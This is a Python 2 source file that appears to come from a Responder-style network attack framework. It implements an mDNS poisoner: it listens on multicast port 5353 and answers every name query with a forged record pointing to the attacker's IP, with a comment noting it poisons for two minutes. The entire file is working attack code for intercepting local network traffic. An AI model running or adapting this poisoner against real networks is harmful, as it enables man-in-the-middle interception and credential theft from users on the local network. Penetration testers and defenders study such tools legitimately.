import threading import socket import struct import logging from SocketServer import UDPServer, ThreadingMixIn, BaseRequestHandler from core.configwatcher import ConfigWatcher from core.responder.odict import OrderedDict from core.responder.packet import Packet from core.responder.common import * from core.logger import logger formatter = logging.Formatter("%(asctime)s [MDNSpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("MDNSpoisoner", formatter) class MDNSpoisoner(): def start(self, options, ourip): global args; args = options global OURIP; OURIP = ourip try: log.debug("OURIP => {}".format(OURIP)) server = ThreadingUDPMDNSServer(("0.0.0.0", 5353), MDNS) t = threading.Thread(name="MDNSpoisoner", target=server.serve_forever) t.setDaemon(True) t.start() except Exception, e: log.error("Error starting on port 5353: {}" .format(e)) class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer): allow_reuse_address = 1 def server_bind(self): MADDR = "224.0.0.251" self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) Join = self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP, socket.inet_aton(MADDR)+ socket.inet_aton(OURIP)) UDPServer.server_bind(self) class MDNSAns(Packet): fields = OrderedDict([ ("Tid", "\x00\x00"), ("Flags", "\x84\x00"), ("Question", "\x00\x00"), ("AnswerRRS", "\x00\x01"), ("AuthorityRRS", "\x00\x00"), ("AdditionalRRS", "\x00\x00"), ("AnswerName", ""), ("AnswerNameNull", "\x00"), ("Type", "\x00\x01"), ("Class", "\x00\x01"), ("TTL", "\x00\x00\x00\x78"),##Poison for 2mn. ("IPLen", "\x00\x04"), ("IP", "\x00\x00\x00\x00"), ]) def calculate(self): self.fields["IP"] = inet_aton(OURIP) self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) def Parse_MDNS_Name(data): data = data[12:] NameLen = struct.unpack('>B',data[0])[0] Name = data[1:1+NameLen] NameLen_ = struct.unpack('>B',data[1+NameLen])[0] Name_ = data[1+NameLen:1+NameLen+NameLen_+1] return Name+'.'+Name_ def Poisoned_MDNS_Name(data): data = data[12:] Name = data[:len(data)-5] return Name class MDNS(BaseRequestHandler): def handle(self): ResponderConfig = ConfigWatcher().config['Responder'] RespondTo = ResponderConfig['RespondTo'] MADDR = "224.0.0.251" MPORT = 5353 data, soc = self.request if self.client_address[0] == "127.0.0.1": pass try: if args.analyze: if Parse_IPV6_Addr(data): log.info('{} is looking for: {}'.format(self.client_address[0],Parse_MDNS_Name(data))) if RespondToSpecificHost(RespondTo): if args.analyze == False: if RespondToIPScope(RespondTo, self.client_address[0]): if Parse_IPV6_Addr(data): log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data))) Name = Poisoned_MDNS_Name(data) MDns = MDNSAns(AnswerName = Name) MDns.calculate() soc.sendto(str(MDns),(MADDR,MPORT)) if args.analyze == False and RespondToSpecificHost(RespondTo) == False: if Parse_IPV6_Addr(data): log.info('Poisoned answer sent to {} the requested name was: {}'.format(self.client_address[0],Parse_MDNS_Name(data))) Name = Poisoned_MDNS_Name(data) MDns = MDNSAns(AnswerName = Name) MDns.calculate() soc.sendto(str(MDns),(MADDR,MPORT)) else: pass except Exception: raise